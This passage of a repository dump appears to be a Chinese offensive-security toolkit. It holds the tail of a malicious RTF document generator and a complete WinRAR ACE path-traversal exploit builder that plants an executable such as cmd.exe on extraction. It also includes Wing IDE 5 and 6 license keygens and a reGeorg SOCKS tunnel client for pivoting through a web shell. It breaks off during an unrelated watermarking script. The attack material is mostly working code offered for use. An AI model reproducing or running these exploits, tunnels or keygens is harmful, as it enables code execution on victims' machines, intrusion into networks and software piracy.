"0000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000200000003000000040000000500000006\n" 47 | payload += "00000007000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n" 48 | payload += "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n" 49 | payload += "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n" 50 | payload += "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n" 51 | payload += "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n" 52 | payload += "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0100000209000000010000000000000000000000000000008C010000C7B0ABEC197FD211978E0000F8757E2A0000000070010000\n" 53 | payload += "7700730064006C003D00" 54 | payload += uri_hex+"0\n" 55 | payload += "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n" 56 | payload += "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n" 57 | payload += "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n" 58 | payload += "000000000000FFFFFFFF0000000000000000000000000000000000000000FFFFFFFF00000000000000000000000000000000000000000000\n" 59 | payload += "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000}\n" 60 | payload += "{\\result {\\rtlch\\fcs1 \\af31507 \\ltrch\\fcs0 \\insrsid1979324 }}}}\n" 61 | payload += "{\\*\\datastore }\n" 62 | payload += "}\n" 63 | f = open(filename, 'w') 64 | f.write(payload) 65 | f.close() 66 | print "Generated "+filename+" successfully" 67 | 68 | if __name__ == '__main__': 69 | generate_exploit_rtf(sys.argv[1]) -------------------------------------------------------------------------------- /exploit/WinRAR_exploit/WinRAR_exploit.py: -------------------------------------------------------------------------------- 1 | #! -*- coding:utf-8 -*- 2 | __author__="浮萍" 3 | __Date__="20190221" 4 | """ 5 | WinRAR代码执行漏洞生成文件的利用脚本 6 | 7 | 参考: 8 | https://research.checkpoint.com/extracting-code-execution-from-winrar/ 9 | https://fuping.site/2019/02/21/WinRAR-Extracting-Code-Execution-Validate/ 10 | 11 | 使用方法:python WinRAR_exploit.py 12 | 13 | Python version 3.7.1 14 | 15 | 可以自定义添加文件,文件可为exe等格式,如果文件不存在,则以文本加入压缩文件中 16 | """ 17 | 18 | import sys 19 | import zlib 20 | import struct 21 | import binascii 22 | 23 | class AceCRC32: 24 | 25 | def __init__(self, buf=b''): 26 | """ 27 | Initialize and add bytes in *buf* into checksum. 28 | """ 29 | self.__state = 0 30 | if len(buf) > 0: 31 | self += buf 32 | 33 | def __iadd__(self, buf): 34 | """ 35 | Adding a buffer of bytes into the checksum, updating the rolling 36 | checksum from all previously added buffers. 37 | """ 38 | self.__state = zlib.crc32(buf, self.__state) 39 | return self 40 | 41 | def __eq__(self, other): 42 | """ 43 | Compare the checksum to a fixed value or another ACE CRC32 object. 44 | """ 45 | return self.sum == other 46 | 47 | def __format__(self, format_spec): 48 | """ 49 | Format the checksum for printing. 50 | """ 51 | return self.sum.__format__(format_spec) 52 | 53 | def __str__(self): 54 | """ 55 | String representation of object is hex value of checksum. 56 | """ 57 | return "0x%08x" % self.sum 58 | 59 | @property 60 | def sum(self): 61 | """ 62 | The final checksum. 63 | """ 64 | return self.__state ^ 0xFFFFFFFF 65 | 66 | 67 | class AceCRC16(AceCRC32): 68 | 69 | def __str__(self): 70 | """ 71 | String representation of object is hex value of checksum. 72 | """ 73 | return "0x%04x" % self.sum 74 | 75 | @property 76 | def sum(self): 77 | """ 78 | The checksum. 79 | """ 80 | return super().sum & 0xFFFF 81 | 82 | 83 | def ace_crc16(buf): 84 | """ 85 | Return the ACE CRC-16 checksum of the bytes in *buf*. 86 | 87 | >>> ace_crc16(b"123456789") 88 | 50905 89 | """ 90 | return AceCRC16(buf).sum 91 | def ace_crc32(buf): 92 | return AceCRC32(buf).sum 93 | 94 | def generate_exploit_ace(filename,buf,outfilename): 95 | payload = '9f7c31000000902a2a4143452a2a141402008650554e010754e200000000162a554e524547495354455245442056455253494f4e2a' 96 | 97 | content_hex = binascii.b2a_hex(buf) 98 | 99 | filename_hex = binascii.b2a_hex(filename.encode("gbk")) 100 | filenamelength_hex = getlenHex(len(filename),4) 101 | 102 | reserved1_hex='5445' 103 | 104 | params_hex='0a00' 105 | compqual_hex='03' #normal 106 | comptype_hex='00' #stored 107 | crc32 = ace_crc32(buf) 108 | crc32_hex= getlenHex(crc32,8) 109 | 110 | attribs_hex='20000000' #ARCHIVE 111 | datetime_hex='3850554e' #2019-02-21 10:01:48 112 | 113 | packsize = origsize = len(buf) 114 | packsize_hex = origsize_hex = getlenHex(packsize,8) 115 | hdr_flags_hex = '0180' 116 | hdr_type_hex = '01' 117 | 118 | str1 = hdr_type_hex+\ 119 | hdr_flags_hex+\ 120 | packsize_hex+\ 121 | origsize_hex+\ 122 | datetime_hex+\ 123 | attribs_hex+\ 124 | crc32_hex+\ 125 | comptype_hex+\ 126 | compqual_hex+\ 127 | params_hex+\ 128 | reserved1_hex+\ 129 | filenamelength_hex+\ 130 | filename_hex.decode() 131 | 132 | str1lenHex = getlenHex(round(len(str1)/2),4)#获取长度的hex 133 | 134 | str2hex = str1lenHex+str1 135 | 136 | hdr_crc_hex = getlenHex(ace_crc16(bytes.fromhex(str1)),4) 137 | 138 | payload += hdr_crc_hex 139 | payload += str2hex 140 | payload += content_hex.decode() 141 | 142 | with open(outfilename,'wb') as file: 143 | file.write(bytes.fromhex(payload)) 144 | 145 | print("Generated "+outfilename+" successfully") 146 | 147 | def getlenHex(x,y):#x为整数,y为所需长度 148 | x_hex = format(x,'x').rjust(y,'0') 149 | outhex = '' 150 | for a in range(len(x_hex),0,-2): 151 | outhex+=(x_hex[a-2:a]) 152 | return outhex 153 | 154 | 155 | if __name__ == '__main__': 156 | 157 | outfilename = 'WinRAR_exploit_wg.rar' #生成的文件名 158 | filename = 'cmd.exe' #添加的文件 159 | filepath = 'd:\\d:\\%s' % (filename) #解压的路径 160 | buf = b'Hello world!' 161 | try: 162 | with open(filename,'rb') as f: 163 | buf = f.read() 164 | except Exception as e: 165 | filepath = 'd:\\d:\\test.txt' 166 | generate_exploit_ace(filepath,buf,outfilename) -------------------------------------------------------------------------------- /keygen/README.md: -------------------------------------------------------------------------------- 1 | # keygen 2 | 3 | 一些算号器。 4 | 5 | *** 6 | 7 | ### Wing IDE *.py 8 | 9 | 使用方法可以参考http://blog.csdn.net/liumaolincycle/article/details/47756351 10 | 11 | 12 | --- 13 | -------------------------------------------------------------------------------- /keygen/Wing IDE 5.py: -------------------------------------------------------------------------------- 1 | import sha 2 | import string 3 | BASE2 = '01' 4 | BASE10 = '0123456789' 5 | BASE16 = '0123456789ABCDEF' 6 | BASE30 = '123456789ABCDEFGHJKLMNPQRTVWXY' 7 | BASE36 = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' 8 | BASE62 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz' 9 | BASEMAX = string.printable 10 | def BaseConvert(number, fromdigits, todigits, ignore_negative = True): 11 | """ converts a "number" between two bases of arbitrary digits 12 | 13 | The input number is assumed to be a string of digits from the 14 | fromdigits string (which is in order of smallest to largest 15 | digit). The return value is a string of elements from todigits 16 | (ordered in the same way). The input and output bases are 17 | determined from the lengths of the digit strings. Negative 18 | signs are passed through. 19 | 20 | decimal to binary 21 | >>> baseconvert(555,BASE10,BASE2) 22 | '1000101011' 23 | 24 | binary to decimal 25 | >>> baseconvert('1000101011',BASE2,BASE10) 26 | '555' 27 | 28 | integer interpreted as binary and converted to decimal (!) 29 | >>> baseconvert(1000101011,BASE2,BASE10) 30 | '555' 31 | 32 | base10 to base4 33 | >>> baseconvert(99,BASE10,"0123") 34 | '1203' 35 | 36 | base4 to base5 (with alphabetic digits) 37 | >>> baseconvert(1203,"0123","abcde") 38 | 'dee' 39 | 40 | base5, alpha digits back to base 10 41 | >>> baseconvert('dee',"abcde",BASE10) 42 | '99' 43 | 44 | decimal to a base that uses A-Z0-9a-z for its digits 45 | >>> baseconvert(257938572394L,BASE10,BASE62) 46 | 'E78Lxik' 47 | 48 | ..convert back 49 | >>> baseconvert('E78Lxik',BASE62,BASE10) 50 | '257938572394' 51 | 52 | binary to a base with words for digits (the function cannot convert this back) 53 | >>> baseconvert('1101',BASE2,('Zero','One')) 54 | 'OneOneZeroOne' 55 | 56 | """ 57 | if not ignore_negative and str(number)[0] == '-': 58 | number = str(number)[1:] 59 | neg = 1 60 | else: 61 | neg = 0 62 | x = long(0) 63 | for digit in str(number): 64 | x = x * len(fromdigits) + fromdigits.index(digit) 65 | 66 | res = '' 67 | while x > 0: 68 | digit = x % len(todigits) 69 | res = todigits[digit] + res 70 | x /= len(todigits) 71 | 72 | if neg: 73 | res = '-' + res 74 | return res 75 | 76 | def SHAToBase30(digest): 77 | """Convert from a hexdigest form SHA hash into a more compact and 78 | ergonomic BASE30 representation. This results in a 17 'digit' 79 | number.""" 80 | tdigest = ''.join([ c for i, c in enumerate(digest) if i / 2 * 2 == i ]) 81 | result = BaseConvert(tdigest, BASE16, BASE30) 82 | while len(result) < 17: 83 | result = '1' + result 84 | 85 | return result 86 | def AddHyphens(code): 87 | """Insert hyphens into given license id or activation request to 88 | make it easier to read""" 89 | return code[:5] + '-' + code[5:10] + '-' + code[10:15] + '-' + code[15:] 90 | 91 | LicenseID='CN123-12345-12345-12345' 92 | #Copy the Request Code from the dialog 93 | RequestCode='RW514-C4562-ABTE8-5DX2G' 94 | hasher = sha.new() 95 | hasher.update(RequestCode) 96 | hasher.update(LicenseID) 97 | digest = hasher.hexdigest().upper() 98 | lichash = RequestCode[:3] + SHAToBase30(digest) 99 | lichash=AddHyphens(lichash) 100 | 101 | #Calculate the Activation Code 102 | data=[7,123,23,87] 103 | tmp=0 104 | realcode='' 105 | for i in data: 106 | for j in lichash: 107 | tmp=(tmp*i+ord(j))&0xFFFFF 108 | realcode+=format(tmp,'=05X') 109 | tmp=0 110 | 111 | act30=BaseConvert(realcode,BASE16,BASE30) 112 | while len(act30) < 17: 113 | act30 = '1' + act30 114 | act30='AXX'+act30 115 | act30=AddHyphens(act30) 116 | print "The Activation Code is: "+act30 117 | -------------------------------------------------------------------------------- /keygen/Wing IDE 6.py: -------------------------------------------------------------------------------- 1 | import string 2 | import random 3 | import sha 4 | 5 | BASE16 = '0123456789ABCDEF' 6 | BASE30 = '123456789ABCDEFGHJKLMNPQRTVWXY' 7 | 8 | 9 | def randomstring(size=20, chars=string.ascii_uppercase + string.digits): 10 | return ''.join((random.choice(chars) for _ in range(size))) 11 | 12 | 13 | def BaseConvert(number, fromdigits, todigits, ignore_negative=True): 14 | if not ignore_negative and str(number)[0] == '-': 15 | number = str(number)[1:] 16 | neg = 1 17 | else: 18 | neg = 0 19 | x = long(0) 20 | for digit in str(number): 21 | x = x * len(fromdigits) + fromdigits.index(digit) 22 | 23 | res = '' 24 | while x > 0: 25 | digit = x % len(todigits) 26 | res = todigits[digit] + res 27 | x /= len(todigits) 28 | 29 | if neg: 30 | res = '-' + res 31 | return res 32 | 33 | 34 | def AddHyphens(code): 35 | return code[:5] + '-' + code[5:10] + '-' + code[10:15] + '-' + code[15:] 36 | 37 | 38 | def SHAToBase30(digest): 39 | tdigest = ''.join([c for i, c in enumerate(digest) if i / 2 * 2 == i]) 40 | result = BaseConvert(tdigest, BASE16, BASE30) 41 | while len(result) < 17: 42 | result = '1' + result 43 | return result 44 | 45 | 46 | def loop(ecx, lichash): 47 | part = 0 48 | for c in lichash: 49 | part = ecx * part + ord(c) & 1048575 50 | return part 51 | 52 | rng = AddHyphens('CN' + randomstring(18, '123456789ABCDEFGHJKLMNPQRTVWXY')) 53 | print 'License id: ' + rng 54 | act30 = raw_input('Enter request code:') 55 | lichash = act30 56 | hasher = sha.new() 57 | hasher.update(act30) 58 | hasher.update(rng) 59 | lichash = AddHyphens(lichash[:3] + SHAToBase30(hasher.hexdigest().upper())) 60 | part5 = format(loop(23, lichash), '05x') + format(loop(161, lichash), '05x') + format(loop(47, lichash), 61 | '05x') + format(loop(9, lichash), 62 | '05x') 63 | part5 = BaseConvert(part5.upper(), BASE16, BASE30) 64 | while len(part5) < 17: 65 | part5 = '1' + part5 66 | 67 | part5 = 'AXX' + part5 68 | print 'Activation code: ' + AddHyphens(part5) -------------------------------------------------------------------------------- /tools/reGeorgSocksProxy_MMShell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import logging 5 | import argparse 6 | import urllib3 7 | from threading import Thread 8 | from urlparse import urlparse 9 | from socket import * 10 | from threading import Thread 11 | from time import sleep 12 | 13 | # Constants 14 | SOCKTIMEOUT = 5 15 | RESENDTIMEOUT = 300 16 | VER = "\x05" 17 | METHOD = "\x00" 18 | SUCCESS = "\x00" 19 | SOCKFAIL = "\x01" 20 | NETWORKFAIL = "\x02" 21 | HOSTFAIL = "\x04" 22 | REFUSED = "\x05" 23 | TTLEXPIRED = "\x06" 24 | UNSUPPORTCMD = "\x07" 25 | ADDRTYPEUNSPPORT = "\x08" 26 | UNASSIGNED = "\x09" 27 | 28 | BASICCHECKSTRING = "Georg says, 'All seems fine'" 29 | 30 | # Globals 31 | READBUFSIZE = 1024 32 | 33 | # Logging 34 | RESET_SEQ = "\033[0m" 35 | COLOR_SEQ = "\033[1;%dm" 36 | BOLD_SEQ = "\033[1m" 37 | 38 | BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8) 39 | 40 | LEVEL = {"INFO": logging.INFO, "DEBUG": logging.DEBUG, } 41 | 42 | logLevel = "INFO" 43 | 44 | COLORS = { 45 | 'WARNING': YELLOW, 46 | 'INFO': WHITE, 47 | 'DEBUG': BLUE, 48 | 'CRITICAL': YELLOW, 49 | 'ERROR': RED, 50 | 'RED': RED, 51 | 'GREEN': GREEN, 52 | 'YELLOW': YELLOW, 53 | 'BLUE': BLUE, 54 | 'MAGENTA': MAGENTA, 55 | 'CYAN': CYAN, 56 | 'WHITE': WHITE, 57 | } 58 | 59 | 60 | def formatter_message(message, use_color=True): 61 | if use_color: 62 | message = message.replace("$RESET", RESET_SEQ).replace("$BOLD", BOLD_SEQ) 63 | else: 64 | message = message.replace("$RESET", "").replace("$BOLD", "") 65 | return message 66 | 67 | 68 | class ColoredFormatter(logging.Formatter): 69 | def __init__(self, msg, use_color=True): 70 | logging.Formatter.__init__(self, msg) 71 | self.use_color = use_color 72 | 73 | def format(self, record): 74 | levelname = record.levelname 75 | if self.use_color and levelname in COLORS: 76 | levelname_color = COLOR_SEQ % (30 + COLORS[levelname]) + levelname + RESET_SEQ 77 | record.levelname = levelname_color 78 | return logging.Formatter.format(self, record) 79 | 80 | 81 | class ColoredLogger(logging.Logger): 82 | 83 | def __init__(self, name): 84 | FORMAT = "[$BOLD%(levelname)-18s$RESET] %(message)s" 85 | COLOR_FORMAT = formatter_message(FORMAT, True) 86 | logging.Logger.__init__(self, name, logLevel) 87 | if (name == "transfer"): 88 | COLOR_FORMAT = "\x1b[80D\x1b[1A\x1b[K%s" % COLOR_FORMAT 89 | color_formatter = ColoredFormatter(COLOR_FORMAT) 90 | 91 | console = logging.StreamHandler() 92 | console.setFormatter(color_formatter) 93 | 94 | self.addHandler(console) 95 | return 96 | 97 | 98 | logging.setLoggerClass(ColoredLogger) 99 | log = logging.getLogger(__name__) 100 | transferLog = logging.getLogger("transfer") 101 | 102 | 103 | class SocksCmdNotImplemented(Exception): 104 | pass 105 | 106 | 107 | class SocksProtocolNotImplemented(Exception): 108 | pass 109 | 110 | 111 | class RemoteConnectionFailed(Exception): 112 | pass 113 | 114 | 115 | class session(Thread): 116 | def __init__(self, pSocket, connectString): 117 | Thread.__init__(self) 118 | self.pSocket = pSocket 119 | self.connectString = connectString 120 | o = urlparse(connectString) 121 | try: 122 | self.httpPort = o.port 123 | except: 124 | if o.scheme == "https": 125 | self.httpPort = 443 126 | else: 127 | self.httpPort = 80 128 | self.httpScheme = o.scheme 129 | self.httpHost = o.netloc.split(":")[0] 130 | self.httpPath = o.path 131 | self.cookie = None 132 | if o.scheme == "http": 133 | self.httpScheme = urllib3.HTTPConnectionPool 134 | else: 135 | self.httpScheme = urllib3.HTTPSConnectionPool 136 | 137 | def parseSocks5(self, sock): 138 | log.debug("SocksVersion5 detected") 139 | nmethods, methods = (sock.recv(1), sock.recv(1)) 140 | sock.sendall(VER + METHOD) 141 | ver = sock.recv(1) 142 | if ver == "\x02": # this is a hack for proxychains 143 | ver, cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1), sock.recv(1)) 144 | else: 145 | cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1)) 146 | target = None 147 | targetPort = None 148 | if atyp == "\x01": # IPv4 149 | # Reading 6 bytes for the IP and Port 150 | target = sock.recv(4) 151 | targetPort = sock.recv(2) 152 | target = "." .join([str(ord(i)) for i in target]) 153 | elif atyp == "\x03": # Hostname 154 | targetLen = ord(sock.recv(1)) # hostname length (1 byte) 155 | target = sock.recv(targetLen) 156 | targetPort = sock.recv(2) 157 | target = "".join([unichr(ord(i)) for i in target]) 158 | elif atyp == "\x04": # IPv6 159 | target = sock.recv(16) 160 | targetPort = sock.recv(2) 161 | tmp_addr = [] 162 | for i in xrange(len(target) / 2): 163 | tmp_addr.append(unichr(ord(target[2 * i]) * 256 + ord(target[2 * i + 1]))) 164 | target = ":".join(tmp_addr) 165 | targetPort = ord(targetPort[0]) * 256 + ord(targetPort[1]) 166 | if cmd == "\x02": # BIND 167 | raise SocksCmdNotImplemented("Socks5 - BIND not implemented") 168 | elif cmd == "\x03": # UDP 169 | raise SocksCmdNotImplemented("Socks5 - UDP not implemented") 170 | elif cmd == "\x01": # CONNECT 171 | serverIp = target 172 | try: 173 | serverIp = gethostbyname(target) 174 | except: 175 | log.error("oeps") 176 | serverIp = "".join([chr(int(i)) for i in serverIp.split(".")]) 177 | self.cookie = self.setupRemoteSession(target, targetPort) 178 | if self.cookie: 179 | sock.sendall(VER + SUCCESS + "\x00" + "\x01" + serverIp + chr(targetPort / 256) + chr(targetPort % 256)) 180 | return True 181 | else: 182 | sock.sendall(VER + REFUSED + "\x00" + "\x01" + serverIp + chr(targetPort / 256) + chr(targetPort % 256)) 183 | raise RemoteConnectionFailed("[%s:%d] Remote failed" % (target, targetPort)) 184 | 185 | raise SocksCmdNotImplemented("Socks5 - Unknown CMD") 186 | 187 | def parseSocks4(self, sock): 188 | log.debug("SocksVersion4 detected") 189 | cmd = sock.recv(1) 190 | if cmd == "\x01": # Connect 191 | targetPort = sock.recv(2) 192 | targetPort = ord(targetPort[0]) * 256 + ord(targetPort[1]) 193 | target = sock.recv(4) 194 | sock.recv(1) 195 | target = ".".join([str(ord(i)) for i in target]) 196 | serverIp = target 197 | try: 198 | serverIp = gethostbyname(target) 199 | except: 200 | log.error("oeps") 201 | serverIp = "".join([chr(int(i)) for i in serverIp.split(".")]) 202 | self.cookie = self.setupRemoteSession(target, targetPort) 203 | if self.cookie: 204 | sock.sendall(chr(0) + chr(90) + serverIp + chr(targetPort / 256) + chr(targetPort % 256)) 205 | return True 206 | else: 207 | sock.sendall("\x00" + "\x91" + serverIp + chr(targetPort / 256) + chr(targetPort % 256)) 208 | raise RemoteConnectionFailed("Remote connection failed") 209 | else: 210 | raise SocksProtocolNotImplemented("Socks4 - Command [%d] Not implemented" % ord(cmd)) 211 | 212 | def handleSocks(self, sock): 213 | # This is where we setup the socks connection 214 | ver = sock.recv(1) 215 | if ver == "\x05": 216 | return self.parseSocks5(sock) 217 | elif ver == "\x04": 218 | return self.parseSocks4(sock) 219 | 220 | def setupRemoteSession(self, target, port): 221 | headers = {"X-CMD": "CONNECT", "X-TARGET": target, "X-PORT": port,"Cache-Header":"thisIsMyJob!@"} 222 | self.target = target 223 | self.port = port 224 | cookie = None 225 | conn = self.httpScheme(host=self.httpHost, port=self.httpPort) 226 | # response = conn.request("POST", self.httpPath, params, headers) 227 | response = conn.urlopen('POST', self.connectString + "?cmd=connect&target=%s&port=%d" % (target, port), headers=headers, body="") 228 | if response.status == 200: 229 | status = response.getheader("x-status") 230 | if status == "OK": 231 | cookie = response.getheader("set-cookie") 232 | log.info("[%s:%d] HTTP [200]: cookie [%s]" % (self.target, self.port, cookie)) 233 | else: 234 | if response.getheader("X-ERROR") is not None: 235 | log.error(response.getheader("X-ERROR")) 236 | else: 237 | log.error("[%s:%d] HTTP [%d]: [%s]" % (self.target, self.port, response.status, response.getheader("X-ERROR"))) 238 | log.error("[%s:%d] RemoteError: %s" % (self.target, self.port, response.data)) 239 | conn.close() 240 | return cookie 241 | 242 | def closeRemoteSession(self): 243 | headers = {"X-CMD": "DISCONNECT", "Cookie": self.cookie,"Cache-Header":"thisIsMyJob!@"} 244 | params = "" 245 | # myheaders = {"User-Agent": "okhttp/3.10.0"} 246 | conn = self.httpScheme(host=self.httpHost, port=self.httpPort) 247 | response = conn.request("POST", self.httpPath + "?cmd=disconnect", params, headers) 248 | if response.status == 200: 249 | log.info("[%s:%d] Connection Terminated" % (self.target, self.port)) 250 | conn.close() 251 | 252 | def reader(self): 253 | conn = urllib3.PoolManager() 254 | while True: 255 | try: 256 | if not self.pSocket: 257 | break 258 | data = "" 259 | headers = {"X-CMD": "READ", "Cookie": self.cookie, "Connection": "Keep-Alive","Cache-Header":"thisIsMyJob!@"} 260 | response = conn.urlopen('POST', self.connectString + "?cmd=read", headers=headers, body="") 261 | data = None 262 | if response.status == 200: 263 | status = response.getheader("x-status") 264 | if status == "OK": 265 | if response.getheader("set-cookie") is not None: 266 | cookie = response.getheader("set-cookie") 267 | data = response.data 268 | # Yes I know this is horrible, but its a quick fix to issues with tomcat 5.x bugs that have been reported, will find a propper fix laters 269 | try: 270 | if response.getheader("server").find("Apache-Coyote/1.1") > 0: 271 | data = data[:len(data) - 1] 272 | except: 273 | pass 274 | if data is None: 275 | data = "" 276 | else: 277 | data = None 278 | log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target, self.port, response.status, status, response.getheader("X-ERROR"))) 279 | else: 280 | log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status)) 281 | if data is None: 282 | # Remote socket closed 283 | break 284 | if len(data) == 0: 285 | sleep(0.1) 286 | continue 287 | transferLog.info("[%s:%d] <<<< [%d]" % (self.target, self.port, len(data))) 288 | self.pSocket.send(data) 289 | except Exception, ex: 290 | raise ex 291 | self.closeRemoteSession() 292 | log.debug("[%s:%d] Closing localsocket" % (self.target, self.port)) 293 | try: 294 | self.pSocket.close() 295 | except: 296 | log.debug("[%s:%d] Localsocket already closed" % (self.target, self.port)) 297 | 298 | def writer(self): 299 | global READBUFSIZE 300 | conn = urllib3.PoolManager() 301 | while True: 302 | try: 303 | self.pSocket.settimeout(1) 304 | data = self.pSocket.recv(READBUFSIZE) 305 | if not data: 306 | break 307 | headers = {"X-CMD": "FORWARD", "Cookie": self.cookie, "Content-Type": "application/octet-stream", "Connection": "Keep-Alive","Cache-Header":"thisIsMyJob!@"} 308 | response = conn.urlopen('POST', self.connectString + "?cmd=forward", headers=headers, body=data) 309 | if response.status == 200: 310 | status = response.getheader("x-status") 311 | if status == "OK": 312 | if response.getheader("set-cookie") is not None: 313 | self.cookie = response.getheader("set-cookie") 314 | else: 315 | log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target, self.port, response.status, status, response.getheader("x-error"))) 316 | break 317 | else: 318 | log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status)) 319 | break 320 | transferLog.info("[%s:%d] >>>> [%d]" % (self.target, self.port, len(data))) 321 | except timeout: 322 | continue 323 | except Exception, ex: 324 | raise ex 325 | break 326 | self.closeRemoteSession() 327 | log.debug("Closing localsocket") 328 | try: 329 | self.pSocket.close() 330 | except: 331 | log.debug("Localsocket already closed") 332 | 333 | def run(self): 334 | try: 335 | if self.handleSocks(self.pSocket): 336 | log.debug("Staring reader") 337 | r = Thread(target=self.reader, args=()) 338 | r.start() 339 | log.debug("Staring writer") 340 | w = Thread(target=self.writer, args=()) 341 | w.start() 342 | r.join() 343 | w.join() 344 | except SocksCmdNotImplemented, si: 345 | log.error(si.message) 346 | self.pSocket.close() 347 | except SocksProtocolNotImplemented, spi: 348 | log.error(spi.message) 349 | self.pSocket.close() 350 | except Exception, e: 351 | log.error(e.message) 352 | self.closeRemoteSession() 353 | self.pSocket.close() 354 | 355 | 356 | def askGeorg(connectString): 357 | connectString = connectString 358 | o = urlparse(connectString) 359 | try: 360 | httpPort = o.port 361 | except: 362 | if o.scheme == "https": 363 | httpPort = 443 364 | else: 365 | httpPort = 80 366 | httpScheme = o.scheme 367 | httpHost = o.netloc.split(":")[0] 368 | httpPath = o.path 369 | if o.scheme == "http": 370 | httpScheme = urllib3.HTTPConnectionPool 371 | else: 372 | httpScheme = urllib3.HTTPSConnectionPool 373 | myheaders = {"Cache-Header":"thisIsMyJob!@"} 374 | conn = httpScheme(host=httpHost, port=httpPort,headers=myheaders) 375 | response = conn.request("GET", httpPath) 376 | if response.status == 200: 377 | if BASICCHECKSTRING == response.data.strip(): 378 | log.info(BASICCHECKSTRING) 379 | return True 380 | conn.close() 381 | return False 382 | 383 | if __name__ == '__main__': 384 | print """\033[1m 385 | \033[1;33m 386 | _____ 387 | _____ ______ __|___ |__ ______ _____ _____ ______ 388 | | | | ___|| ___| || ___|/ \| | | ___| 389 | | \ | ___|| | | || ___|| || \ | | | 390 | |__|\__\|______||______| __||______|\_____/|__|\__\|______| 391 | |_____| 392 | ... every office needs a tool like Georg 393 | 394 | willem@sensepost.com / @_w_m__ 395 | sam@sensepost.com / @trowalts 396 | etienne@sensepost.com / @kamp_staaldraad 397 | \033[0m 398 | """ 399 | log.setLevel(logging.DEBUG) 400 | parser = argparse.ArgumentParser(description='Socks server for reGeorg HTTP(s) tunneller') 401 | parser.add_argument("-l", "--listen-on", metavar="", help="The default listening address", default="127.0.0.1") 402 | parser.add_argument("-p", "--listen-port", metavar="", help="The default listening port", type=int, default="8888") 403 | parser.add_argument("-r", "--read-buff", metavar="", help="Local read buffer, max data to be sent per POST", type=int, default="1024") 404 | parser.add_argument("-u", "--url", metavar="", required=True, help="The url containing the tunnel script") 405 | parser.add_argument("-v", "--verbose", metavar="", help="Verbose output[INFO|DEBUG]", default="INFO") 406 | args = parser.parse_args() 407 | if (args.verbose in LEVEL): 408 | log.setLevel(LEVEL[args.verbose]) 409 | log.info("Log Level set to [%s]" % args.verbose) 410 | 411 | log.info("Starting socks server [%s:%d], tunnel at [%s]" % (args.listen_on, args.listen_port, args.url)) 412 | log.info("Checking if Georg is ready") 413 | if not askGeorg(args.url): 414 | log.info("Georg is not ready, please check url") 415 | exit() 416 | READBUFSIZE = args.read_buff 417 | servSock = socket(AF_INET, SOCK_STREAM) 418 | servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) 419 | servSock.bind((args.listen_on, args.listen_port)) 420 | servSock.listen(1000) 421 | while True: 422 | try: 423 | sock, addr_info = servSock.accept() 424 | sock.settimeout(SOCKTIMEOUT) 425 | log.debug("Incomming connection") 426 | session(sock, args.url).start() 427 | except KeyboardInterrupt, ex: 428 | break 429 | except Exception, e: 430 | log.error(e) 431 | servSock.close() 432 | -------------------------------------------------------------------------------- /tools/waterMark.py: -------------------------------------------------------------------------------- 1 | """ 2 | 批量给图片添加水印 3 | 4 | """ 5 | 6 | 7 | from PIL import Image,ImageDraw,ImageFont 8 | import os 9 | 10 | def is_img(ext): #是否为图片格式 11 | ext = ext.lower() 12 | if ext in ['.jpg', '.png', '.jpeg', '.bmp']: 13 | return True 14 | else: 15 | return False 16 | 17 | def doWaterMark(path,text): #添加水印 18 | try: 19 | image = Image.open(path) 20 | font = ImageFont.truetype("FZSTK.TTF",40) 21 | layer = image.convert('RGBA') 22 | 